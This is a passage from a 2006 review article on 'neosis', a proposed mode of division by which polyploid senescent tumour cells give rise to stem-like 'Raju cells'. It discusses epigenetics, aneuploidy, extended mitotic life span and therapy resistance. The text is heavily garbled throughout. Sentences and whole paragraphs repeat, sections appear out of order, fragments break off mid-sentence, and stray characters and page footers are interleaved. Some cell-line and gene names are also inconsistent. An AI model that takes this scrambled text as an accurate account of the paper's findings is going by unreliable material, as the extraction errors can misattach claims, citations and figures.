1. Short cell cycle duration of nascent Raju cells (before they undergo first mitosis) – an indication of lack of G1 phase? [5, 6]. . Short cell cycle duration of nascent Raju cells (before they 1. Short cell cycle duration of nascent Raju cells (before they undergo first mitosis) – an indication of lack of G1 phase? [5, 6]. 2. Reactivation of telomerase conferring extended mitotic life span [139-141]. g
p
[
]
Is it possible to expand Raju cell population without differentiation under proper culture conditions such as EGF or FG 3. Is it possible to expand Raju cell population without differentiation under proper culture c 4. Increase in cell size accompanied by increase in cell cycle duration-introduction of G1 phase in the cell cycle [Rajaraman, unpublished; 143]. 5 Resistance to genotoxins – Expression of multidrug resistance genes? [192 193] 4. Increase in cell size accompanied by increase in cell cycle duration-introduction of G1 phase in the cell cycle [Rajar
5. Resistance to genotoxins – Expression of multidrug resistance genes? [192, 193]. 6. Are they transiently expressing tissue stem cell specific surface markers? (e.g., CD34+ for hematopoietic cells [8]; CD133+ for brain cells [12,
13], CD44+, CD33-, LowLin- for breast cells [9-11]; CD20+ for skin cells [40]; CD44+,α 2β 1hi/CD133+ for prostate cancer cells [41]. 6. Are they transiently expressing tissue stem cell specific surface markers? (e.g., CD34+ for h
13], CD44+, CD33-, LowLin- for breast cells [9-11]; CD20+ for skin cells [40]; CD44+,α 2β p
7. Are they transiently expressing stem cell specific growth genes? (E.g. Nanog, Oct-4, Wnt, Bmi1 etc.) [188-191]
8. Potential to differentiate, although aberrantly. 8. Potential to differentiate, although aberrantly. Somatic cell properties of mitotic derivatives of Raju cells: g
y
Somatic cell properties of mitotic derivatives of Raju cells: 1. Resumption of symmetric mitotic division. 1. Resumption of symmetric mitotic division. 2. Increase in cell size – Introduction of G1 phase in the cell cycle? [143]. 3. Progressive, but, aberrant differentiation. 4. Loss of tissue specific stem cell surface markers due to differentiation during extended mitotic proliferation? 4. Loss of tissue specific stem cell surface markers due to differentiation during extended mitotic proliferatio
5. Loss of expression of stem cell specific self-renewal genes? p
5. Loss of expression of stem cell specific self-renewal genes? 6. Loss of expression of multidrug resistance genes? 7. Page 12 of 26
(page number not for citation purposes) Table 3: Properties of Raju cells and their mitotic derivatives: Table 3: Properties of Raju cells and their mitotic derivatives: Transient stem cell properties of Raju cells: Neosis and epigenetics in tumor progression Epigenetic modulation is probably the way the genome
alters its behavior in response to the environment [157]. "The genome functions like a highly sensitive organ of the
cell that monitors its own activities and corrects common
errors, senses unusual and unexpected events, and
responds to them, often by restructuring itself" [158]. This
statement probably accurately fits the behavior of cancer
cells. Recent studies have revealed that genetic mutations
alone do not lead to cancer and that epigenetics plays a
major role in the origin and progression of tumors. Epige-
netic alterations – non-DNA sequence-based heritable
alterations – have been shown to initiate genomic insta-
bility, even before gene mutations enter into the process
[159-162]. Epigenetic mutations fall into two main cate-
gories: (1) Altered DNA methylation of CpG dinucle-
otides, both losses or hypomethylation (results in gene
activation) and gains or hypermethylation (results in
silencing the gene) and (2) altered patterns of histone
modifications such as acetylation or deacetylation of
lysine residues, [160-166]. When tumor cells are exposed to conventional chemo-
therapy or radiation therapy, most of the accelerated
senescent cells may eventually die, but some do escape by
adapting to the adverse conditions by undergoing poly-
ploidization, and karyokinesis via nuclear budding
[5,133]. Since mitotic checkpoint or spindle checkpoint is
activated only after the dismantling of the nuclear enve-
lope [146], polyploidization followed by nuclear budding
with an intact nuclear envelope is bound to protect the
NMC from cell death due to mitotic checkpoint. There-
fore, some of these polyploid cells successfully undergo
reduction division or de-polyploidization yielding near
diploid daughter Raju cells with transient stem cell prop-
erties [5,6]. Epigenetic modulation occurs during all stages of tumor
growth from the initiation at the progenitor cells through
tumor formation and progression [162,163]. During the
initiation stages, epigenetic modifications mimic the
effect of genetic damage by altering the expression of
tumor suppressor genes, thus compromising the tumor
suppressor function of the senescence program; for exam-
ple, silencing of tumor suppressor genes by promoter
DNA hypermethylation and chromatin hypoacetylation,
which may affect the expression of diverse genes including
p53, RB1, p16INK4A, Von Hippel-Landau tumor suppres-
sor (VHL) and MutL protein homologue 1 (MLH1)
[109,162,163,168-170]. http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 cells formed after exposure of human colon carcinoma
HT116 cells to doxorubicin underwent nuclear budding
and formed Raju cells via neosis [Prof. E. Sikora, personal
communication]. mitotic catastrophe via micronucleation and death
[20,84,148-150]. Thus, mitotic catastrophe and neosis are
mutually exclusive phenomena displayed by tumor cells
with opposite effects. While the former eliminates the
tumor cells with a defective genome, the latter helps adapt
them to genomic instability-induced accumulation of
genetic and epigenetic alterations by reducing the GI load
in the neotic offspring via epigenetic modulation and thus
contributing to the continuity of tumor cell lineage. We postulated that during such critical time of mitotic cri-
sis, the cells may revert back to neosis, which may be an
evolutionary throw back just to tide over the crisis [5]. Interestingly, this mode of cell division resembles the
asexual reproduction found in parasitic protozoans and
protista and has been reported to be an evolutionary
phase in sexual reproduction by meiosis in higher organ-
isms [153]. However, it has been demonstrated that such
a primitive mode of cell division is still being activated
during the maturation of extraembryonic tropholast cells
during mammalian pregnancy. Thus, it appears that the
gene(s) that execute neosis are still functional in the mam-
malian genome, which are supposed to be active only dur-
ing the trophoblast maturation in the extra embryonic
tissue during pregnancy [122,123], and are inadvertently
expressed in the absence of certain tumor suppressor
genes (p53?) due to DNA damage. Transient stem cell properties of Raju cells: Senescent cells are characterized by SA-β-gal expression,
SAHF, and are usually very large due to endomitosis and
endoreduplication and are generally unable to divide
again even in the presence of growth factors. Further, the
senescent cells downregulate mitotic genes and upregu-
late anti-mitotic genes [19,81,84]. Under these circum-
stances, the senescent cancer cells will face inevitable
death, unless they adapt and evade cell death, by eliminat-
ing the mitotically non-viable genome, and multiply by
producing mitotically viable genome in order to be able to
maintain the continuity of tumor cell lineage. All these
conditions are fulfilled by neosis [5]. In this connection,
it is interesting to note that senescent SA-β-gal positive Of all the different checkpoint controls the most impor-
tant one is the mitotic checkpoint or the spindle check-
point, which is considered the primary defense against
aneuploidy and ensures accurate chromosome segrega-
tion in order to produce genetically identical daughter
cells [90,146]. During karyokinesis in mitosis and meio-
sis, the nuclear envelope is dismantled at which time the
spindle checkpoint is activated [146,147]. Often the
senescent cells form nuclear envelopes around fragments
of the genome, a process termed micronucleation
[131,148,149]. Thus, unable to maintain G2 arrest, they
enter mitosis and after being arrested for several hours at
metaphase, they eventually die without successfully com- Page 12 of 26
(page number not for citation purposes) Page 12 of 26
(page number not for citation purposes) Neosis and epigenetics in tumor progression This implies that global epigenetic modulation
occurs throughout the life of the tumors, repetitively at
least during each neosis, since continuous proliferation
will lead to accumulation of gene mutations and epimu-
tations, which may be often detrimental to the cell. There-
fore, we propose that during neosis the cell with defective
senescence checkpoint control(s) tend to undergo endore-
plication/multinucleation and after restructuring the
genome followed by multiple rounds of neotic S phase
(SN phase), produces daughter Raju cells with EMLS via
nuclear budding and asymmetric cytokinesis. This
decreases the GI load in the Raju cells, while the non-via-
ble polyploid genome of the NMC is discarded during its
post-neotic demise. In the absence of tumor suppressor
gene(s), the genome appears to be highly plastic (and tol-
erant to DNA damage) and responds to the damage and
never activates the mitotic checkpoint by keeping the
nuclear envelope intact and tides over the crisis by pro-
ducing several Raju cells with stem cell properties and
helps the continuous growth of tumor. When such defective cells reach senescent phase and
undergo neosis, these polyploid NMCs give rise to near-
diploid or aneuploid Raju cells; this indicates that neosis
must comprise properties of meiosis, mitosis and neosis
specific events. During the extended MLS, Raju cells differ-
entiate into tumor cells, while also accumulating addi-
tional mutational and epimutational alterations. This will
increase the GI load, and cells will arrive at the next senes-
cent phase due to incomplete differentiation displaying
mitotic crisis. The onset of senescence is accompanied by
several changes in the gene expression profile of the cells:
(1) downregulation of mitotic genes; (2) upregulation of
anti-mitotic genes [19,84]. During neosis the following
changes in the gene-expression profile must occur: (1)
reexpression of the 'immortalizing enzyme' telomerase is
obligatory for the extension of mitotic life span, but not
sufficient
for
neoplastic
transformation
[139-
141,176,177]; (2) ectopic expression of meiotic genes col-
lectively called cancer/testes (CT) antigens in tumor cells,
which are thought to play a role in transformation [171-
178], (3) in addition to ectopic expression of stem cell
self-renewal genes including microRNAs, notch, oct4, and
Bmi1 [77,179-184] and (4) multidrug resistance genes
[185,186]. Therefore, the most significant event during
neosis appears to be the alteration in gene expression pro-
file, which is likely to be brought about by epigenetic
modulation. Neosis and epigenetics in tumor progression Global hypomethylation of
chromatin and loss of imprinting lead to chromosomal
instability and increased tumor incidence both in vitro and
in vivo [165-167]; epigenetic activation of R-ras is respon-
sible for gastric cancer [168] and cyclinD2 and mapsin
activation in pancreatic cancer [169,170]. When spindle checkpoint is defective, a minor fraction of
senescent cells escape mitotic catastrophe and become
tetraploid due to mitotic slippage or cytokinesis failure
[154,155]. Such cells have been shown to undergo
multipolar mitosis giving rise to aneuploid cells [154]. However, it is not sure if these aneuploid cells will survive
long enough to contribute to the clonal selection in tumor
tissue [156]. We have shown that a subpopulation of
tetraploid cells can undergo neosis by nuclear budding to
give rise to several daughter cells before they die [5]. Since
the nuclear envelope is not dismantled during neosis,
spindle checkpoint is probably not activated and this
might favor successful completion of neosis, often acci-
dentally yielding aneuploid neotic offspring, which may
survive and proliferate due to loss of genomic stability. During mitotic catastrophe, nuclear envelope is disman-
tled and spindle checkpoint is activated, leading to Tumor cells constitutively express some meiotic genes
called Cancer/Testes (CT) antigens [171-174]. Immedi-
ately after exposure to radiation, some of these meiotic
genes were translationally upregulated in Namalwa Page 13 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 p53 or related tumor suppressor genes due to DNA dam-
age. p53 or related tumor suppressor genes due to DNA dam-
age. p53 or related tumor suppressor genes due to DNA dam-
age. Burkitt's lymphoma cells with p53 mutant gene [175]. It
has been recently demonstrated that exposure of tumor
cells to genotoxins results in the translational upregula-
tion of cMOS gene [175], which is involved in switching
cells from mitosis to meiosis II and forcing the cell to
undergo
reduction
division
[172]. Constitutively
expressed in low levels in untreated tumor cells, expres-
sion of meiotic cohesion gene REC8 was also enhanced
after irradiation of p53 mutated Namalwa Burkitt's lym-
phoma cells, along with other meiosis-specific genes
DMC1, STAG3, SYCP1 and SYCP3. Expression of these
genes reached a peak level during the mitotic arrest phase
and was proportional to the endopolyploid cells [175]. Neosis is repeated several times during the growth of
tumors. Page 14 of 26
(page number not for citation purposes) Neosis and epigenetics in tumor progression This will in effect reduce the GI load, making
it possible to produce mitotically viable genomes of Raju
cells from the non-viable polyploid genome. Our data
and those of others [5,6,127-129,152,153,175,187] sug-
gest that the genome of such polyploid cells, although not
mitotically viable, may undergo epigenetic modulation in
order to reduce the degree of GI load to yield mitotically
active daughter Raju cells with EMLS and thus contribute
to the continuity of tumor cell lineage in a non-synchro-
nous fashion, while the mitotically non-viable polyploid
genome is eliminated by the post-neotic death of NMC. Thus, the genes for neosis which are silent in the genome,
and should be active only during the maturation of the
extraembryonic trophoblast cells during pregnancy
[122,123], are reexpressed in tumor cells in the absence of 5.6. Neosis as the source of aneuploidy (2) It now seems that all human aneuploidies (cells that
have chromosome number other than 46) in normal dip-
loid human cell systems that occur during development
result in embryonic lethality, except certain combinations
of sex chromosomes and hyperdiploid, trisomies 13, 18
and 21, which yield severe birth defects in humans
[195,196]. Polyploidy can result either due to endomitosis and
endoreduplication, or by cell fusion. It has been shown
that Mad2- or BubR1-depleted cells (the genes involved in
spindle checkpoint control) that do not complete cytoki-
nesis remain viable through continued cycles of DNA rep-
lication up to at least 32 N [146,205]. In murine
melanoma cultures exposed to methotrexate, emergence
of resistant clones is preceded by an increase in polyploid
cells with DNA content >8c and even >16c, concomitant
with a decrease in tetraploid cells and is accompanied by
loss of expression of mtotic proliferation markers (PCNA
and CDK1) [206]. Even higher ploidy can be attained in
certain cell systems [121-124,133]. Polyploidization, in
addition to protecting cells from death confers evolvabil-
ity by producing cells with non-lethal variations in the
genome, upon which the process of natual selection may
act [5,207,208]. In addition, since spindle checkpoint
control is activated after the dissolution of the nuclear
envelope [146], neosis, by performing karyokinesis via
nuclear budding without the dissolution of the nuclear
envelope, appears to be an adaptation by polyploid cells
to escape from spindle checkpoint control-induced
mitotic catastrophe. It is known that p53 null cells even-
tually develop polyploidy [5,156,197,198] attended by
multiple centrosomes. (3) Further, it has been recently shown that chromosome
non-disjunction in primary human cells yields tetraploid
cells rather than aneuploid cells due to failure of cytokine-
sis. This demonstrates that tetraploid cells do not directly
give rise of aneuploidy. Therefore, there must be an inter-
mediate step between tetraploid cells and the origin of
aneuploid progeny of tumor cells [197]. (4) We observed primary neosis that gave rise to trans-
formed cells in a binucleate giant cell with a chromosome
bridge [5]. The fact that this NMC is binucleate with an
isthmus, indicates that this cell has undergone one unsuc-
cessful mitotic division attended by cytokinesis failure
and has, therefore, an at least tetraploid genome. (5) Thus, neosis appears to be the intermediate step
between tetraploid cells and the origin of aneuploid
tumor cells. 5.6. Neosis as the source of aneuploidy 5.6. Neosis as the source of aneuploidy
The question of the source and mechanism of the origin
of aneuploidy is still being debated [188]. More than a
century ago, Hanesmann [189] and Boveri [120], sug-
gested that aneuploidy is the result of non-disjunction
during bipolar division or multipolor mitosis, respec-
tively. The rare occurrence of pluripolar spindles repre-
sented Boveri's paradigm for a type of abnormal mitosis
that can produce a variety of random chromosomal com-
binations. Unbalanced bipolar divisions or pluripolar
mitoses will fail to distribute the chromosomal material
to the daughter cells correctly. Therefore, both of these
mechanisms can potentially give rise to tumor progenitors
[120,189,190]. Accordingly, a parasexual cycle of poly-
ploidization and segregation of chromosomes has been
reported to occur in human fibroblasts, which has been
assumed to involve multipolar spindle formation and
chromosome non-disjunction [191,192]. However, it
should be pointed out that the observations of both
Hanesmann [189] and Boveri [120] were largely made in
tumor cell populations, which led them to arrive at this
conclusion. Since tumor cells have already lost genomic
stability, they could tolerate errors in chromosomal distri-
bution and continue dividing in order to survive [193]. Therefore, this does not address the question of origin of
aneuploidy. We propose neosis as the third and most
likely mode of arriving at aneuploidy for the following
reasons: Page 14 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 mediate stage before the genesis of neoplastic growth
[155,156,199-203]. (1) It has been shown recently that structural and numer-
ical chromosome alterations in colon cancer develop
through telomere-mediated anaphase bridges and not
through mitotic multipolarity. In fact, multipolarity
results in uneven chromosome distribution to daughter
cells that gives rise to gross genomic changes such as nul-
lisomies and non-viable daughter cells, and therefore,
rarely contributed to clonal evolution tumor cells [194]. Therefore, we propose that senescent cells with tetraploid
or higher ploidy genomes have the potential to under go
neosis, creating conditions for automatic onset of aneu-
ploidy to drive malignancy [67], if all the conditions for
survival of the genome are met with in the resultant Raju
cells. Page 15 of 26
(page number not for citation purposes) Limits of extended Mitotic Life Span (MLS) and tumor
progression and survive due to loss of checkpoint control(s) and gain
of genomic instability. The role of meiotic genes in favor-
ing reduction in the number of chromosomes during neo-
sis is strongly suspected [175]. Similarly, multiple cycles
of DNA replication in the NMC can be made possible by
some meiotic gene(s) that are ectopically expressed in
tumor cells [171-173][174]. Therefore, we suggest that, in
addition to the global epigenetic modulation of the
genome discussed above, neosis, rather than multipolar
mitosis, is involved in the origin of aneuploid tumor cells. Neotic clones isolated from C3H10T1/2 cells exposed to
etoposide displayed extended MLS, probably due to reex-
pression of telomerase [5,6,139-141]. Contrary to the
belief that transformed cells are 'immortal,' we observed
that at about the 20th passage, the neotic clones entered
the next cycle of senescence and underwent secondary
neosis yielding the next batch of Raju cells, which contin-
ued to multiply [5,6]. Tumor cells undergo spontaneous
senescence in vivo and display the senescence marker SA-
β-gal sporadically [118] in a non-synchronous fashion. This implies that transformation does not confer immor-
tality. Instead, this simply results in extension of the MLS
of neotic offspring, which would not be feasible if it were
not for the rejuvenation process of neosis. In addition,
this observation suggests that the 'stemness' of Raju cells
was transient and this property is lost during the prolifer-
ative phase, probably due to defective differentiation,
which leads to the hierarchic nature of the tumor cell pop-
ulation. This important aspect of cancer cell mortality
would not have been revealed if we did not study the
behavior of individual neotic clones [5]. Under normal
circumstances, the progenies of different NMCs will be
growing either in vitro or in vivo, masking the repetitive
renewal or rejuvenation of MLS via neosis, especially since
this is occurring in a non-synchronized fashion. However, we envisage that once the genesis of tumor cells
via neosis is achieved, since these cells have gained
genomic instability, further propagation of aneuploidy
and the associated chromosomal aberrations including
gene duplications, translocations etc will be facilitated by
the various mechanisms including centrosome amplifica-
tion, mitotic spindle abnormalities, defective attachment
of chromatids to kinetchore, telomere dysfunction-
induced breakage-fusion-bridge cycle, defective cytokine-
sis, mitotic checkpoint defects, among other things [188]. Limits of extended Mitotic Life Span (MLS) and tumor
progression Thus, once the process of aneuploidy is initiated by neo-
sis, progressive increase in aneuploidy might play an
active role in the on-set of aggressive malignant property
in solid tumors, whose survival and proliferation may be
favored by loss of genomic stability [66]. The basis for the number of Raju cells produced by each
NMC is not known. For example, in p53 MEF/MGB cells
we observed that there were multiple giant nuclei present,
and often more than one nucleus can produce nuclear
buds and yield Raju cells. Number of Raju cells/NMC was
around 10+/- 2 in C3H10T1 1/2 cells, ~4 or 5 in HeLa
cells, and ~50 or more in p53-/-MGB/MEF cells, but 1 or
2 in p53-/-MEF/129B cells. While it is tempting to postu-
late that the number of Raju cells/NMC may depend upon
the ploidy of the NMC, this remains to be tested. It is very
likely in addition to ploidy, the cellular genetic back-
ground may be a determining factor in the number of
Raju cells/NMC [5]. Similarly, the human renal adenocarcinoma ACHN cells
displayed rare MN/PG cells that initiated S/T-neosis;
while in human metastatic neuroblastoma HTB11 cells,
after continuous culture in vitro a high frequency of cells
were observed to enter S/T-neosis [5]. Although we do not
have any experimental data on the length of the extended
MLS in these systems, the fact that these cells also display
senescent MN/PGs that act as NMCs implies that cancer
cells are not immortal, and that they also undergo sponta-
neous senescence due to differentiation and ageing [5] or
accelerated senescence after exposure to anti-cancer agents
[210]. However, the senescent cells may escape death
since these are tumor cells with defective senescent check
point control(s) and their growth is rejuvenated incon-
spicuously, since neosis is not synchronized. Additionally, it is known that cancer cells are living precar-
iously at the edge of life [23]. While these cells have shut
off spindle checkpoint and escaped mitotic catastrophe,
and are on the way to escaping senescence, anything can
go wrong in the process of neosis and cells may die at any
stage of neosis, a process which we have termed neotic
catastrophe. 5.6. Neosis as the source of aneuploidy It has the potential to give rise to aneuploid
or near diploid stem cell-like Raju cells via polyploidiza-
tion followed by karyokinesis via nuclear budding with-
out activating mitotic checkpoint control by keeping the
nuclear envelope intact. Often the presence of multiple centrosomes can avoid for-
mation of multiple spindle poles by fusion of centro-
somes resulting in a complex form of bipolar spindle
[154,209]. However, it remains to be elucidated as to how
the process of karyokinesis is effected in the presence of
nuclear envelope. The question arises if the complex of
multiple centrosomes acts like the spindle pole body of
budding yeast by physically associating itself with the
nuclear envelope and relocating itself back in the cyto-
plasm in Raju cells [129] so that they can resume symmet-
ric mitosis. (6) Accordingly, p53-/- MN/PG cells spontaneously gave
rise to transformed cells via neosis [5] and in p53 null
mouse cells cytokinesis failure-generated tetraploid cells
promote tumorigenesis in vivo [198]. (7) These cells have extended MLS in the absence of senes-
cent checkpoint controls (e.g. P53-/- cells); but they perish
in the presence of proper checkpoint controls (eg., p53+/
+ cells). Thus, p53+/+ MN/PG mouse cells did not yield
viable Raju cells [5,6] and the p53+/+ tetraploid cells did
not produce tumors in vivo [198]. Approximately one week after exposure to genotoxin, the
chromatin in the endopolyploid giant cells reorganizes
into a bouquet-like structure resembling meiotic
prophase [132]. By about post-exposure day 14–21, some
of these cells spontaneously undergo neosis and produce
aneuploid Raju cells, the progenitors of tumor cells
[5,127]. The latter undergo symmetric mitotic division (8) In support of this, it is also known that in several
human and rodent tumor systems, tetraploidy is the inter- Page 15 of 26
(page number not for citation purposes) Page 15 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 Page 16 of 26
(page number not for citation purposes) Limits of extended Mitotic Life Span (MLS) and tumor
progression For
example, in the case of transitional cell carcinoma (TCC)
that represents superficial bladder tumors and invasive
bladder cancers, the superficial bladder tumor cells
expressed p16 after limited in vitro passage and senesced
as did the normal human uroepithelial cells, while all the
muscle invasive TCCs contained altered p16 or pRB and
bypassed senescence [215]. These data suggest that early
tumors display senescence phase, while malignant tumors
might have lost the efficiency of senescence barrier proba-
bly due to additional mutational events in genes that are
involved in effecting the senescence program. load) [5,6,214]. It is likely that additional mutations or
epimutations in the cancer cell genome would include the
senescence genes, pro-apoptotic genes and genes that
favor neosis. While such changes in the neosis-specific
genes might have a negative selection effect, mutations or
epigenetic changes in the senescent, pro-apopotic and
longevity genes might have the opposite effect, contribut-
ing to the length of the extended MLS of tumor cells. How-
ever, one would expect an increase in the frequency of S/
T-neosis due to the genetic stress caused by high GI load
and accumulation of further mutational events in the
genome. Additionally, tumor cells undergo defective dif-
ferentiation, and this would also contribute to mitotic cri-
sis along with the exhaustion of EMLS, leading to the next
senescent phase. Thus, in malignant populations of cancer
cells, one can expect to see a higher frequency of such cells
may escape senescence via S/T-neosis. This is what we
observed in the case of metastasizing neuroblastoma
HTB11 cells [[5],; Rajaraman, unpublished]. It is tempting
to suggest that in malignant tumor cell population, the
NMCs may not display senescent markers such as SA-β-
gal. The course of events that overcomes cellular senes-
cence in human cancer pathology supports the above con-
clusion, even though the study did not involve neosis. For
example, in the case of transitional cell carcinoma (TCC)
that represents superficial bladder tumors and invasive
bladder cancers, the superficial bladder tumor cells
expressed p16 after limited in vitro passage and senesced
as did the normal human uroepithelial cells, while all the
muscle invasive TCCs contained altered p16 or pRB and
bypassed senescence [215]. These data suggest that early
tumors display senescence phase, while malignant tumors
might have lost the efficiency of senescence barrier proba-
bly due to additional mutational events in genes that are
involved in effecting the senescence program. Significance of neosis as a self-renewal mechanism Significance of neosis as a self-renewal mechanism
An unequivocal knowledge of the source of cancer cells
and their mechanism of self-renewal have a special signif-
icance in developing effective anti-cancer therapeutic pro-
tocols, if one wants to kill cancer cells specifically without
affecting the normal stem cells and somatic mitotic cells. Although the concept of cancer stem cell is very appealing
(more than 31,000 articles have been published in sup-
port of this concept), it is still controversial [6,42,44]. In
the absence of direct and compelling evidence for the
asymmetric division potential of CSCs, and the recent
emergence of evidence for the role of telomere attrition
causing senescence in (adult) stem cells [52,53] and
escape from senescence in the absence of senescence
checkpoint control(s) [63], it is difficult to consider the
concept of immortal CSCs as the source of cancer self-
renewal. . When C3H10T2/3 mouse cells were exposed to 20 µM
etoposide, the resultant neosis yielded Raju cell deriva-
tives that were 25 times more resistant to etoposide; and
they survived and underwent S/T-neosis even after expo-
sure to 500 µM etoposide. The parent cell line died within
a few days after exposure to 500 µM etoposide [5]. Prof. Martin reports that when rat colon adenocarcinoma cells
were exposed to cisplatin, the resultant neotic progeny
displayed resistance to genotoxins [Personal communica-
tion]. Makarovskiy et al. [89] have observed emergence of
docetoxyl resistant prostate cancer PC3 cells after poly-
ploidization. Erenpreisa and her coworkers have reported
that when Burkitt's lymphoma cells were irradiated, the
resultant neotic progenies were resistant to radiation
[216]. Thus, neosis appears to be the primary source of
epigenetic changes that fine tunes the damaged, non-via-
ble polyploid genome to yield mitotically viable genome
after global epigenetic modulation, and therefore, is the
mechanism of recurrent growth of resistant tumor cells On the other hand the use of transformed focus formation
assay has demonstrated that neosis is not only the mode
of origin of tumor cells with genomic instability, but also
is an efficient mechanism of self-renewal that helps main-
tain the continuity of tumor cell lineage and is the mode
of escape from senescence and mitotic catastrophe [[5,6]
Prof. E Sikora, personal communication]. It is also
involved in the origin of drug-resistant tumor growth
[[5,6,89,132] Prof. F. Martin, personal communication]. Additionally, as discussed above, neosis appears to be the
source of aneuploidy in tumor cells. Limits of extended Mitotic Life Span (MLS) and tumor
progression Thus, even at the last phase of neosis the
NMC may die without yielding daughter cells, even after
they have been successfully formed, for the simple reason
that they cannot get out of the mother cells and become
independent cells [5]. Although there is limited knowledge about the genetics of
life span and senescence, there are probably many genes
involved in regulating these processes [211-213]. As the
continuity of cancer cell lineage is facilitated by repetitive
cycles of senescence followed by S/T-neosis and EMLS of
tumor cells through cancer progression, there is increasing
degree of non-synchrony in the onset of senescence. The
senescence program is not intact in tumor cells. In addi-
tion, during the proliferative phase the tumor cells are
known to accumulate additional random mutations
increasing the degree of genomic instability load (GI Page 16 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 load) [5,6,214]. It is likely that additional mutations or
epimutations in the cancer cell genome would include the
senescence genes, pro-apoptotic genes and genes that
favor neosis. While such changes in the neosis-specific
genes might have a negative selection effect, mutations or
epigenetic changes in the senescent, pro-apopotic and
longevity genes might have the opposite effect, contribut-
ing to the length of the extended MLS of tumor cells. How-
ever, one would expect an increase in the frequency of S/
T-neosis due to the genetic stress caused by high GI load
and accumulation of further mutational events in the
genome. Additionally, tumor cells undergo defective dif-
ferentiation, and this would also contribute to mitotic cri-
sis along with the exhaustion of EMLS, leading to the next
senescent phase. Thus, in malignant populations of cancer
cells, one can expect to see a higher frequency of such cells
may escape senescence via S/T-neosis. This is what we
observed in the case of metastasizing neuroblastoma
HTB11 cells [[5],; Rajaraman, unpublished]. It is tempting
to suggest that in malignant tumor cell population, the
NMCs may not display senescent markers such as SA-β-
gal. The course of events that overcomes cellular senes-
cence in human cancer pathology supports the above con-
clusion, even though the study did not involve neosis. Limits of extended Mitotic Life Span (MLS) and tumor
progression after chemotherapy or radiation therapy. It is proposed
that when tumor cells are subject to adverse conditions in
vivo or in vitro, cells undergo a rapid senescence phase and
some of them may escape cell death by undergoing neosis
and give rise to resistant tumor growth. Up to ~10% of the cells in a given tumor tissue may be
senescent cells (MN/PGs or potential NMCs). Senescent
cells expressing SA-β-gal may undergo neosis [Dr. E. Sikora, personal communication]. At any given time, few
of these potential NMCs in a tumor tissue will undergo S/
T-neosis, thus replenishing the population of Raju cells,
which will be subject to clonal selection. The individual
neotic colonies are different from each other both pheno-
typically and genotypically [5]. Thus repetitive, non-syn-
chronous neosis in tumor tissues constantly introduces
heterogeneous populations of Raju cell derivatives, which
will be subject to natural selection. Therefore, neosis is
involved in maintaining the continuity of tumor cell line-
age at times of mitotic crisis by producing resistant clones. This will result in the selection of progressively malignant
cells, leading to tumor progression. Significance of neosis as a self-renewal mechanism It is noteworthy that the NMCs resemble stem cells in that
they undergo asymmetric division by segregating the Page 17 of 26
(page number not for citation purposes) Page 17 of 26
(page number not for citation purposes) Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 these drugs [224][225], probably, due to S/T-neosis-medi-
ated emergence of resistant cells. newly synthesized viable genome to the daughter Raju
cells, while retaining the non-viable defective polyploid
genome, which is eliminated after the production of
daughter Raju cells. The latter also display some degree of
"stemness" in that they have gained extended MLS, indi-
cating reactivation of telomerase; they have the potential
to undergo differentiation, albeit aberrantly, and act as
tumor initiating cells, contributing to the continuity of
tumor cell lineage. Newer populations of mortal, but
resistant (malignant) Raju cells with survival advantage
due to transient expression of stem cell properties, which
are repetitively produced via non-synchronous S/T-neosis
due to selection pressure are operative in different tumor
systems studied so far. This process appears to be a potent
mode of self-renewal in tumor tissues. Taken together,
these observations indicate that ESCs, ASCs and the tran-
sit amplifying cells, like the non-stem somatic cells
[50,52,53,63,217] can also undergo senescent phase fol-
lowed by extension of MLS, via neosis. This supports the
alternative inference of the in vivo carcinogenic suscepti-
bility data (see above) that the ASCs and their asymmetric
mitotic progeny of transit amplifying cells, and not just
the ASCs alone, are susceptible to carcinogen-induced
mutational events (see above). In fact, the Raju cells with
stem cell-like properties behave like committed stem cells
or progenitor cells that lose their 'stemness' during their
transit amplification and differentiation phase. However, recent data, including ours suggest that tumor
cell heterogeneity is due in part to epigenetic variation in
the progenitor cells, and the epigenetic plasticity in addi-
tion to genetic variation is responsible to drive tumor pro-
gression [160,161]. This concept has added significance to
ageing since even maternal twins display epigenetic differ-
ences as a function of their age and the environment they
were brought up [164], This has resulted in great interest
in the role of epigenetic mechanisms in the origin and
progression of tumors [160-162]. Preliminary data indicate that neosis may be the common
denominator for both solid tumors and hematological
malignancies [5,6]. Up to 10% of the tumor cells are poly-
ploid giant cells. Significance of neosis as a self-renewal mechanism Since these are the potential candidates
for S/T-neosis to occur, effective elimination of these dis-
tinct populations of cells will reduce the chances of fur-
ther progression of tumors. If one can successfully identify
a common molecular step specific for neosis (see below
for examples) among different cancer types, one can con-
ceptualize cancer as a single disease caused by genesis and
regenesis of Raju cells via neosis from the point of view of
therapeutic molecular targeting. The common features of
neosis in hematological malignancies, and solid tumors
including carcinomas and sarcomas, may include DNA
damage response-induced repair or misrepair, DNA
polymerase(s) involved DNA repair and in polyploidiza-
tion, epigenetic genome and chromatin modulation, acti-
vation of telomerase, DNA polymerase(s) involved in
repetitive neotic DNA synthesis, karyokinesis via nuclear
budding and asymmetric cytokinesis. This, hopefully,
reduces the number of signal transduction pathways that
can be altered during carcinogenesis in order to be able to
interfere in the process of carcinogenesis. Thus design and
development of an ideal anti-neotic agent or neociside to
block the progression of multiple types of cancers may be
simpler than the steps involved in identifying and devel-
oping molecular targets dependant on mitotic genes for
individual cancer types or individual patients. Addition-
ally, since senescent cells and therefore, neosis may not
occur in normal somatic cells active in mitosis, the collat-
eral damage to normal mitotic cells is bound to be highly
reduced. 7. Cancers as a single disease of uncontrolled growth via
neosis Classically, cancer is considered a heterogeneous group of
disorders with unlimited mitotic potential (immortal)
and with markedly different biological properties, which
are the result of clonal selection of mutant tumor suppres-
sor genes and oncogenes. [218-222][223]. Thus, almost
200 different types of cancers, as many as the number of
different types of cells in the human body, have been rec-
ognized, each with its own characteristic signal transduc-
tion pathways and with unique mutations in these
differentiation pathways. Since each type of differentiated
cell would reach its maturity via different signaling path-
ways, each type of cancer might have different molecular
abnormalities that will be responsible for the uncon-
trolled growth of cancer [221]. This will be further com-
plicated by the number of potential proto-oncogenes or
